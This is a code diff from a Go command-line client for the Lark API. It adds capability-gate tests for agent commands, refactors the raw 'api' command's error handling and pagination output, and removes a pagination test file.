if code := output.ExitCodeOf(err); code != output.ExitValidation {
t.Fatalf("exit code should be %d, got %d", output.ExitValidation, code)
}
p, ok := errs.ProblemOf(err)
if !ok || p.Subtype != errs.SubtypeUnsupportedCapability {
t.Fatalf("subtype should be unsupported_capability, got %+v", p)
}
if !strings.Contains(p.Hint, "agents card "+ref) {
t.Errorf("hint should point to agents card %s, got %q", ref, p.Hint)
}
if strings.Contains(err.Error(), "httpmock") {
t.Errorf("should not issue any HTTP request, but the error contains httpmock traces: %v", err)
}
}
// TestContextListUnsupportedGated pins the capability gate on `context list`: a
// provider that does not wire ListContexts returns typed unsupported_capability
// (exit 2) with the agent-card hint, without any HTTP.
func TestContextListUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextListRun(opts), "fakeunsup:a1")
}
// TestContextDeleteUnsupportedGated pins the same gate on the confirmed
// `context delete` path (--yes passes, provider does not wire DeleteContext).
func TestContextDeleteUnsupportedGated(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &contextOptions{
Factory: f, Cmd: contextCmdCtx(t, "delete"), Ref: "fakeunsup:a1", CtxID: "c1", Yes: true, As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentContextDeleteRun(opts), "fakeunsup:a1")
}
// unsupFactory is a small helper for the capability-gate tests.
func unsupFactory(t *testing.T) *cmdutil.Factory {
t.Helper()
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
return f
}
// TestTaskListUnsupportedGated pins the task_list gate: fakeunsup does not wire
// ListTasks, so `task list` returns unsupported_capability (exit 2) with no HTTP.
func TestTaskListUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &taskOptions{Factory: f, Cmd: taskCmdCtx(t, "list"), Ref: "fakeunsup:a1", As: "bot", Format: "json"}
assertUnsupportedCapability(t, agentTaskListRun(opts), "fakeunsup:a1")
}
// TestContextGetUnsupportedGated pins the context_get gate (GetContext unwired).
func TestContextGetUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &contextOptions{Factory: f, Cmd: contextCmdCtx(t, "get"), Ref: "fakeunsup:a1", CtxID: "c1", As: "bot", Format: "json"}
assertUnsupportedCapability(t, agentContextGetRun(opts), "fakeunsup:a1")
}
// TestArtifactDownloadUnsupportedGated pins the artifact_download gate: fakeunsup
// does not wire DownloadArtifact, so `task get --artifact` returns
// unsupported_capability (exit 2) before any download.
func TestArtifactDownloadUnsupportedGated(t *testing.T) {
f := unsupFactory(t)
opts := &taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1",
ArtifactID: "art_1", Output: "out_unsup.bin", As: "bot", Format: "json",
}
assertUnsupportedCapability(t, agentTaskGetRun(opts), "fakeunsup:a1")
}
// TestSendFileUnsupportedGated pins the --file capability gate: example:echo
// declares file_input=false, so `send --file` returns unsupported_capability
// (exit 2) — this gate answers BEFORE the --yes confirmation and before any
// network, so no file is opened and no request is issued.
func TestSendFileUnsupportedGated(t *testing.T) {
mkSendFile(t, "whatever.txt")
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
err := agentSendRun(&sendOptions{
Factory: f, Cmd: sendCmdCtx(t), Ref: "example:echo", Text: "hi",
Files: []string{"whatever.txt"}, As: "bot", Format: "json",
})
assertUnsupportedCapability(t, err, "example:echo")
}
// TestTaskGetDerivesIsTerminalFromState pins the normalizeTask wiring: a
// provider returning a State/IsTerminal-mismatched task (completed +
// is_terminal=false) must emit is_terminal=true — the command layer derives
// the flag from State, the single source of truth.
func TestTaskGetDerivesIsTerminalFromState(t *testing.T) {
registerFakeUnsup()
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
opts := &taskOptions{
Factory: f, Cmd: taskCmdCtx(t, "get"), Ref: "fakeunsup:a1", TaskID: "t1", As: "bot", Format: "json",
}
out := f.IOStreams.Out.(interface{ Bytes() []byte })
if err := agentTaskGetRun(opts); err != nil {
t.Fatalf("task get should not error: %v", err)
}
var env output.Envelope
if err := json.Unmarshal(out.Bytes(), &env); err != nil {
t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
}
data, _ := env.Data.(map[string]interface{})
if data["state"] != "completed" {
t.Fatalf("data.state should be completed, got %v", data["state"])
}
if data["is_terminal"] != true {
t.Errorf("is_terminal should be derived from State as true (correcting a provider that set false), got %v", data["is_terminal"])
}
}
// TestNormalizeTaskSummaries_DerivesFromState pins the summary-side derivation
// (task list runs its summaries through this helper; context get derives the
// single active_task's flag inline the same way).
func TestNormalizeTaskSummaries_DerivesFromState(t *testing.T) {
ts := normalizeTaskSummaries([]iagents.TaskSummary{
{TaskID: "t1", State: iagents.StateCompleted, IsTerminal: false}, // missing
{TaskID: "t2", State: iagents.StateWorking, IsTerminal: true}, // wrong
})
if !ts[0].IsTerminal {
t.Error("completed summary should derive is_terminal=true")
}
if ts[1].IsTerminal {
t.Error("working summary should derive is_terminal=false")
}
if normalizeTask(nil) != "" {
t.Error("normalizeTask(nil) should be nil-safe")
}
}

View File

@@ -10,7 +10,6 @@ import (
"regexp"
"strings"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
@@ -67,21 +66,8 @@ func NewCmdApiWithContext(ctx context.Context, f *cmdutil.Factory, runF func(*AP
cmd := &cobra.Command{
Use: "api <method> <path>",
Short: "Raw HTTP escape hatch — call any endpoint by path (fallback when no typed command exists)",
Long: `Raw HTTP escape hatch: send any Lark API request by HTTP method + path.
Prefer the typed domain command when one exists — it validates parameters,
shows the Risk level, gates destructive calls behind --yes, and carries usage
guidance that this raw command does not. If a domain command covers your task
(browse with ` + "`lark-cli <domain> --help`" + `), use it instead of this.
Reach for ` + "`api`" + ` only for endpoints that have no typed command yet (e.g.
newer/preview APIs), where you already have the HTTP path from the Lark docs.
Examples:
lark-cli api GET /open-apis/calendar/v4/calendars
lark-cli api POST /open-apis/im/v1/messages --params '{"receive_id_type":"open_id"}' --data @body.json`,
Args: cobra.ExactArgs(2),
Short: "Generic Lark API requests",
Args: cobra.ExactArgs(2),
RunE: func(cmd *cobra.Command, args []string) error {
opts.Method = strings.ToUpper(args[0])
opts.Path = args[1]
@@ -104,7 +90,6 @@ Examples:
cmd.Flags().IntVar(&opts.PageLimit, "page-limit", 10, "max pages to fetch with --page-all (0 = unlimited)")
cmd.Flags().IntVar(&opts.PageDelay, "page-delay", 200, "delay in ms between pages")
cmd.Flags().StringVar(&opts.Format, "format", "json", "output format: json|ndjson|table|csv")
cmd.Flags().Bool("json", false, "shorthand for --format json")
cmd.Flags().StringVarP(&opts.JqExpr, "jq", "q", "", "jq expression to filter JSON output")
cmd.Flags().BoolVar(&opts.DryRun, "dry-run", false, "print request without executing")
cmd.Flags().StringVar(&opts.File, "file", "", "file to upload as multipart/form-data ([field=]path, supports - for stdin)")
@@ -130,13 +115,6 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
stdin := opts.Factory.IOStreams.In
fileIO := opts.Factory.ResolveFileIO(opts.Ctx)
if opts.Method == "" {
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"HTTP method must not be empty").
WithHint("pass the verb as the first argument, e.g. lark-cli api GET /open-apis/...").
WithParam("<method>")
}
// Validate --file mutual exclusions first.
if err := cmdutil.ValidateFileFlag(opts.File, opts.Params, opts.Data, opts.Output, opts.PageAll, opts.Method); err != nil {
return client.RawApiRequest{}, nil, err
@@ -144,13 +122,7 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
// stdin conflict: --params and --data cannot both read from stdin, regardless of --file.
if opts.Params == "-" && opts.Data == "-" {
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--params and --data cannot both read from stdin (-)").
WithHint("pass at most one flag as '-'; give the other inline JSON or @file").
WithParams(
errs.InvalidParam{Name: "--params", Reason: "reads from stdin (-)"},
errs.InvalidParam{Name: "--data", Reason: "reads from stdin (-)"},
)
return client.RawApiRequest{}, nil, output.ErrValidation("--params and --data cannot both read from stdin (-)")
}
params, err := cmdutil.ParseJSONMap(opts.Params, "--params", stdin, fileIO)
@@ -180,10 +152,7 @@ func buildAPIRequest(opts *APIOptions) (client.RawApiRequest, *cmdutil.FileUploa
return client.RawApiRequest{}, nil, err
}
if _, ok := dataFields.(map[string]any); !ok {
return client.RawApiRequest{}, nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
"--data must be a JSON object when used with --file").
WithHint(`with --file, --data carries multipart form fields, e.g. --data '{"image_type":"message"}'`).
WithParam("--data")
return client.RawApiRequest{}, nil, output.ErrValidation("--data must be a JSON object when used with --file")
}
}
@@ -226,13 +195,7 @@ func apiRun(opts *APIOptions) error {
}
if opts.PageAll && opts.Output != "" {
return errs.NewValidationError(errs.SubtypeInvalidArgument,
"--output and --page-all are mutually exclusive").
WithHint("drop --page-all to save a binary response, or drop --output to paginate JSON").
WithParams(
errs.InvalidParam{Name: "--output", Reason: "conflicts with --page-all"},
errs.InvalidParam{Name: "--page-all", Reason: "conflicts with --output"},
)
return output.ErrValidation("--output and --page-all are mutually exclusive")
}
if err := output.ValidateJqFlags(opts.JqExpr, opts.Output, opts.Format); err != nil {
return err
@@ -250,9 +213,9 @@ func apiRun(opts *APIOptions) error {
if opts.DryRun {
if fileMeta != nil {
return cmdutil.PrintDryRunWithFile(request, config, dryRunOutputOptions(f, opts), *fileMeta)
return cmdutil.PrintDryRunWithFile(f.IOStreams.Out, request, config, opts.Format, fileMeta.FieldName, fileMeta.FilePath, fileMeta.FormFields)
}
return apiDryRun(f, request, config, opts)
return apiDryRun(f, request, config, opts.Format)
}
// Identity info is now included in the JSON envelope; skip stderr printing.
// cmdutil.PrintIdentity(f.IOStreams.ErrOut, opts.As, config, f.IdentityAutoDetected)
@@ -269,7 +232,7 @@ func apiRun(opts *APIOptions) error {
}
if opts.PageAll {
return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut, opts.Cmd.CommandPath(),
return apiPaginate(opts.Ctx, ac, request, format, opts.JqExpr, out, f.IOStreams.ErrOut,
client.PaginationOptions{PageLimit: opts.PageLimit, PageDelay: opts.PageDelay})
}
@@ -279,7 +242,7 @@ func apiRun(opts *APIOptions) error {
// pass on *output.ExitError values. Typed *errs.* errors that flow
// through here keep their canonical message / hint from BuildAPIError;
// MarkRaw is a no-op on those (it only flips a flag on *ExitError).
return errs.MarkRaw(err)
return output.MarkRaw(err)
}
err = client.HandleResponse(resp, client.ResponseOptions{
OutputPath: opts.Output,
@@ -299,94 +262,55 @@ func apiRun(opts *APIOptions) error {
// MarkRaw: see comment above on the DoAPI path. Skips legacy
// *ExitError enrichment; typed errors flow through unchanged.
if err != nil {
return errs.MarkRaw(err)
return output.MarkRaw(err)
}
return nil
}
func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, opts *APIOptions) error {
return cmdutil.PrintDryRun(request, config, dryRunOutputOptions(f, opts))
func apiDryRun(f *cmdutil.Factory, request client.RawApiRequest, config *core.CliConfig, format string) error {
return cmdutil.PrintDryRun(f.IOStreams.Out, request, config, format)
}
func dryRunOutputOptions(f *cmdutil.Factory, opts *APIOptions) cmdutil.DryRunOutputOptions {
return cmdutil.DryRunOutputOptions{
Format: opts.Format,
JqExpr: opts.JqExpr,
CommandPath: opts.Cmd.CommandPath(),
Identity: opts.As,
Out: f.IOStreams.Out,
ErrOut: f.IOStreams.ErrOut,
}
}
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, commandPath string, pagOpts client.PaginationOptions) error {
func apiPaginate(ctx context.Context, ac *client.APIClient, request client.RawApiRequest, format output.Format, jqExpr string, out, errOut io.Writer, pagOpts client.PaginationOptions) error {
if pagOpts.Identity == "" {
pagOpts.Identity = request.As
}
// When jq is set, always aggregate all pages then filter.
if jqExpr != "" {
result, err := ac.PaginateAll(ctx, request, pagOpts)
if err != nil {
return errs.MarkRaw(err)
if err := client.PaginateWithJq(ctx, ac, request, jqExpr, out, pagOpts, ac.CheckResponse); err != nil {
return output.MarkRaw(err)
}
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
output.FormatValue(out, result, output.FormatJSON)
return errs.MarkRaw(apiErr)
}
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
JqExpr: jqExpr,
Out: out,
ErrOut: errOut,
})
return nil
}
switch format {
case output.FormatNDJSON, output.FormatTable, output.FormatCSV:
emitter := output.NewEmitter(output.EmitterConfig{
Out: out,
ErrOut: errOut,
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
NoticeProvider: output.GetNotice,
})
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) error {
// Streaming formats intentionally emit each page after that page has
// passed safety scanning. A later page may still fail, so callers
// must use the exit code to distinguish complete vs partial output.
return emitter.StreamPage(items, output.StreamOptions{Format: format.String()})
pf := output.NewPaginatedFormatter(out, format)
result, hasItems, err := ac.StreamPages(ctx, request, func(items []interface{}) {
pf.FormatPage(items)
}, pagOpts)
if err != nil {
return errs.MarkRaw(err)
return output.MarkRaw(err)
}
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
return errs.MarkRaw(apiErr)
output.FormatValue(out, result, output.FormatJSON)
return output.MarkRaw(apiErr)
}
if !hasItems {
fmt.Fprintf(errOut, "warning: this API does not return a list, format %q is not supported, falling back to json\n", format)
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
Out: out,
ErrOut: errOut,
})
output.FormatValue(out, result, output.FormatJSON)
}
return nil
default:
result, err := ac.PaginateAll(ctx, request, pagOpts)
if err != nil {
return errs.MarkRaw(err)
return output.MarkRaw(err)
}
if apiErr := ac.CheckResponse(result, pagOpts.Identity); apiErr != nil {
output.FormatValue(out, result, output.FormatJSON)
return errs.MarkRaw(apiErr)
return output.MarkRaw(apiErr)
}
return output.WriteSuccessEnvelope(output.SuccessEnvelopeData(result), output.SuccessEnvelopeOptions{
CommandPath: commandPath,
Identity: string(pagOpts.Identity),
Out: out,
ErrOut: errOut,
})
output.FormatValue(out, result, format)
return nil
}
}

View File

@@ -1,396 +0,0 @@
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
// SPDX-License-Identifier: MIT
package api
import (
"bytes"
"context"
"encoding/json"
"errors"
"fmt"
"io"
"net/http"
"testing"
"github.com/larksuite/cli/errs"
"github.com/larksuite/cli/internal/client"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/larksuite/cli/internal/output"
)
type apiFailOnWriteWriter struct {
buf bytes.Buffer
writes int
failAt int
err error
}
func (w *apiFailOnWriteWriter) Write(p []byte) (int, error) {
w.writes++
if w.writes == w.failAt {
return 0, w.err
}
return w.buf.Write(p)
}
func newAPIPaginateTestHarness(t *testing.T) (*client.APIClient, *bytes.Buffer, *bytes.Buffer, *httpmock.Registry) {
t.Helper()
t.Setenv("LARKSUITE_CLI_CONFIG_DIR", t.TempDir())
t.Setenv("LARKSUITE_CLI_CONTENT_SAFETY_MODE", "off")
previousNotice := output.PendingNotice
output.PendingNotice = nil
t.Cleanup(func() { output.PendingNotice = previousNotice })
config := &core.CliConfig{
AppID: "test-app",
AppSecret: "test-secret",
Brand: core.BrandFeishu,
}
f, out, errOut, reg := cmdutil.TestFactory(t, config)
ac, err := f.NewAPIClientWithConfig(config)
if err != nil {
t.Fatalf("NewAPIClientWithConfig() error = %v", err)
}
ac.ErrOut = io.Discard
return ac, out, errOut, reg
}
func apiPaginateRequest() client.RawApiRequest {
return client.RawApiRequest{
Method: "GET",
URL: "/open-apis/test/v1/items",
As: core.AsBot,
}
}
func assertAPIPaginateJSONBytes(t *testing.T, got []byte, want interface{}) {
t.Helper()
wantBytes, err := json.MarshalIndent(want, "", " ")
if err != nil {
t.Fatalf("marshal expected JSON: %v", err)
}
wantBytes = append(wantBytes, '\n')
if !bytes.Equal(got, wantBytes) {
t.Fatalf("stdout bytes mismatch\ngot:\n%s\nwant:\n%s", got, wantBytes)
}
}
func TestAPIPaginate_DefaultAggregatesAllPages(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
calls := 0
wantTokens := []string{"", "next-1", "next-2"}
for i, wantToken := range wantTokens {
page := i + 1
hasMore := page < len(wantTokens)
data := map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": string(rune('0' + page))}},
"has_more": hasMore,
}
if hasMore {
data["page_token"] = wantTokens[page]
}
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
OnMatch: func(req *http.Request) {
calls++
if got := req.URL.Query().Get("page_token"); got != wantToken {
t.Errorf("request %d page_token = %q, want %q", page, got, wantToken)
}
},
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": data,
},
})
}
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
PageLimit: 10,
PageDelay: -1,
})
if err != nil {
t.Fatalf("apiPaginate() error = %v, want nil", err)
}
if calls != 3 {
t.Fatalf("pagination requests = %d, want 3", calls)
}
assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
OK: true,
Identity: "bot",
Data: map[string]interface{}{
"items": []interface{}{
map[string]interface{}{"id": "1"},
map[string]interface{}{"id": "2"},
map[string]interface{}{"id": "3"},
},
"has_more": false,
},
})
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
}
func TestAPIPaginate_StreamingFormatsEmitExactMultiPageBytes(t *testing.T) {
tests := []struct {
name string
format output.Format
want string
}{
{
name: "ndjson",
format: output.FormatNDJSON,
want: "{\"id\":\"1\",\"name\":\"Alice\"}\n{\"id\":\"2\",\"name\":\"Carol\",\"page_only\":\"ignored\"}\n",
},
{
name: "table",
format: output.FormatTable,
want: "id name \n── ─────\n1 Alice\n2 Carol\n",
},
{
name: "csv",
format: output.FormatCSV,
want: "id,name\n1,Alice\n2,Carol\n",
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{
map[string]interface{}{"id": "1", "name": "Alice"},
},
"has_more": true,
"page_token": "next-1",
},
},
})
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": map[string]interface{}{
"items": []interface{}{
map[string]interface{}{"id": "2", "name": "Carol", "page_only": "ignored"},
},
"has_more": false,
},
},
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
tt.format, "", out, errOut, "lark-cli api GET", client.PaginationOptions{
PageLimit: 10,
PageDelay: -1,
})
if err != nil {
t.Fatalf("apiPaginate() error = %v, want nil", err)
}
if got := out.String(); got != tt.want {
t.Fatalf("stdout byte mismatch\ngot (%d bytes):\n%q\nwant (%d bytes):\n%q", len(got), got, len(tt.want), tt.want)
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
})
}
}
func TestAPIPaginate_StreamingWriteFailureStopsFurtherPages(t *testing.T) {
ac, _, errOut, reg := newAPIPaginateTestHarness(t)
sentinel := errors.New("page write failed")
out := &apiFailOnWriteWriter{failAt: 2, err: sentinel}
calls := 0
for page := 1; page <= 2; page++ {
hasMore := true
data := map[string]interface{}{
"items": []interface{}{map[string]interface{}{"id": page}},
"has_more": hasMore,
}
if hasMore {
data["page_token"] = fmt.Sprintf("next-%d", page)
}
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
OnMatch: func(*http.Request) {
calls++
},
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": data,
},
})
}
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatNDJSON, "", out, errOut, "lark-cli api GET",
client.PaginationOptions{PageLimit: 10, PageDelay: -1})
if !errors.Is(err, sentinel) {
t.Fatalf("apiPaginate() error = %v, want preserved writer cause", err)
}
problem, ok := errs.ProblemOf(err)
if !ok || problem.Category != errs.CategoryInternal {
t.Fatalf("apiPaginate() problem = %#v, %v; want internal typed error", problem, ok)
}
if calls != 2 {
t.Fatalf("pagination requests = %d, want 2", calls)
}
if got, want := out.buf.String(), "{\"id\":1}\n"; got != want {
t.Fatalf("stdout bytes = %q, want %q", got, want)
}
}
func TestAPIPaginate_StreamingFormatFallsBackToJSONWithoutList(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 0,
"msg": "ok",
"data": map[string]interface{}{
"name": "Test User",
"user_id": "u123",
},
},
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err != nil {
t.Fatalf("apiPaginate() error = %v, want nil", err)
}
assertAPIPaginateJSONBytes(t, out.Bytes(), output.Envelope{
OK: true,
Identity: "bot",
Data: map[string]interface{}{
"name": "Test User",
"user_id": "u123",
},
})
wantWarning := "warning: this API does not return a list, format \"ndjson\" is not supported, falling back to json\n"
if got := errOut.String(); got != wantWarning {
t.Fatalf("stderr bytes = %q, want %q", got, wantWarning)
}
}
func TestAPIPaginate_BusinessErrorsWriteRawAndAreMarkedRaw(t *testing.T) {
businessResponse := map[string]interface{}{
"code": 123456,
"msg": "fixture business error",
"data": map[string]interface{}{"detail": "business failed"},
}
tests := []struct {
name string
format output.Format
jqExpr string
}{
{name: "jq", format: output.FormatJSON, jqExpr: ".data.items"},
{name: "default_json", format: output.FormatJSON},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: businessResponse,
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err == nil {
t.Fatal("apiPaginate() error = nil, want business error")
}
if !errs.IsRaw(err) {
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
}
assertAPIPaginateJSONBytes(t, out.Bytes(), businessResponse)
if bytes.Contains(out.Bytes(), []byte(`"ok": true`)) {
t.Fatalf("business-error stdout contains a success envelope:\n%s", out.Bytes())
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
})
}
}
func TestAPIPaginate_TransportErrorsAreMarkedRaw(t *testing.T) {
tests := []struct {
name string
format output.Format
jqExpr string
}{
{name: "jq_paginate_all", format: output.FormatJSON, jqExpr: ".data.items"},
{name: "stream_pages", format: output.FormatNDJSON},
{name: "default_paginate_all", format: output.FormatJSON},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
ac, out, errOut, _ := newAPIPaginateTestHarness(t)
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
tt.format, tt.jqExpr, out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err == nil {
t.Fatal("apiPaginate() error = nil, want transport error")
}
if !errs.IsRaw(err) {
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
}
if got := out.String(); got != "" {
t.Fatalf("stdout bytes = %q, want empty", got)
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
})
}
}
func TestAPIPaginate_StreamBusinessErrorIsMarkedRaw(t *testing.T) {
ac, out, errOut, reg := newAPIPaginateTestHarness(t)
reg.Register(&httpmock.Stub{
URL: "/open-apis/test/v1/items",
Body: map[string]interface{}{
"code": 123456,
"msg": "fixture business error",
"data": map[string]interface{}{},
},
})
err := apiPaginate(context.Background(), ac, apiPaginateRequest(),
output.FormatNDJSON, "", out, errOut, "lark-cli api GET", client.PaginationOptions{PageDelay: -1})
if err == nil {
t.Fatal("apiPaginate() error = nil, want business error")
}
if !errs.IsRaw(err) {
t.Fatalf("errs.IsRaw(error) = false, want true; error = %T: %v", err, err)
}
if got := out.String(); got != "" {
t.Fatalf("stdout bytes = %q, want empty", got)
}
if got := errOut.String(); got != "" {
t.Fatalf("stderr bytes = %q, want empty", got)
}
}

View File

@@ -4,48 +4,26 @@
package api
import (
"bytes"
"context"
"encoding/json"
"errors"
"mime"
"mime/multipart"
"os"
"path/filepath"
"sort"
"strings"
"testing"
"github.com/larksuite/cli/errs"
extcs "github.com/larksuite/cli/extension/contentsafety"
"github.com/larksuite/cli/internal/cmdutil"
"github.com/larksuite/cli/internal/core"
"github.com/larksuite/cli/internal/httpmock"
"github.com/spf13/cobra"
)
func newTestApiCmd(f *cmdutil.Factory, runF func(*APIOptions) error) *cobra.Command {
cmd := NewCmdApi(f, runF)
cmd.SilenceErrors = true
cmd.SilenceUsage = true
return cmd
}
func newTestRootCmd() *cobra.Command {
return &cobra.Command{
Use: "lark-cli",
SilenceErrors: true,
SilenceUsage: true,
}
}
func TestApiCmd_FlagParsing(t *testing.T) {
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
var gotOpts *APIOptions
cmd := newTestApiCmd(f, func(opts *APIOptions) error {
cmd := NewCmdApi(f, func(opts *APIOptions) error {
gotOpts = opts
return nil
})
@@ -69,70 +47,22 @@ func TestApiCmd_FlagParsing(t *testing.T) {
}
func TestApiCmd_DryRun(t *testing.T) {
f, stdout, stderr, _ := cmdutil.TestFactory(t, &core.CliConfig{
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
var got map[string]interface{}
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
t.Fatalf("dry-run stdout is not JSON: %v\nstdout:\n%s\nstderr:\n%s", err, stdout.String(), stderr.String())
output := stdout.String()
if !strings.Contains(output, "Dry Run") {
t.Error("expected dry run output")
}
if got["ok"] != true || got["identity"] != "bot" || got["dry_run"] != true {
t.Fatalf("unexpected dry-run envelope: %#v", got)
}
data, ok := got["data"].(map[string]interface{})
if !ok {
t.Fatalf("data = %#v, want object", got["data"])
}
api, ok := data["api"].([]interface{})
if !ok || len(api) != 1 {
t.Fatalf("api = %#v, want one call", data["api"])
}
call, ok := api[0].(map[string]interface{})
if !ok || call["url"] != "/open-apis/test" {
t.Fatalf("api[0] = %#v", api[0])
}
if strings.Contains(stdout.String(), "=== Dry Run ===") {
t.Fatalf("stdout should not contain dry-run banner: %s", stdout.String())
}
}
func TestApiCmd_DryRunWithJq(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot", "--dry-run", "--jq", ".data.api[0].url"})
if err := cmd.Execute(); err != nil {
t.Fatalf("unexpected error: %v", err)
}
if got := strings.TrimSpace(stdout.String()); got != "/open-apis/test" {
t.Fatalf("jq output = %q, want /open-apis/test", got)
}
}
// Regression: --params null parses to a nil map; writing page_size onto it must
// not panic. Symmetric to the typed-flag overlay path in cmd/service — both
// write into the map ParseJSONMap returns.
func TestApiCmd_NullParamsWithPageSize(t *testing.T) {
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
})
cmd := newTestApiCmd(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test", "--params", "null", "--page-size", "50", "--as", "bot", "--dry-run"})
if err := cmd.Execute(); err != nil {
t.Fatalf("--params null with --page-size should not error, got: %v", err)
}
if out := stdout.String(); !strings.Contains(out, "page_size") {
t.Errorf("expected page_size applied over null --params, got:\n%s", out)
if !strings.Contains(output, "/open-apis/test") {
t.Error("expected path in dry run output")
}
}
@@ -147,25 +77,14 @@ func TestApiCmd_BotMode(t *testing.T) {
Body: map[string]interface{}{"code": 0, "msg": "ok", "data": map[string]interface{}{"result": "success"}},
})
cmd := newTestApiCmd(f, nil)
cmd := NewCmdApi(f, nil)
cmd.SetArgs([]string{"GET", "/open-apis/test", "--as", "bot"})
err := cmd.Execute()
if err != nil {
t.Fatalf("unexpected error: %v", err)
}
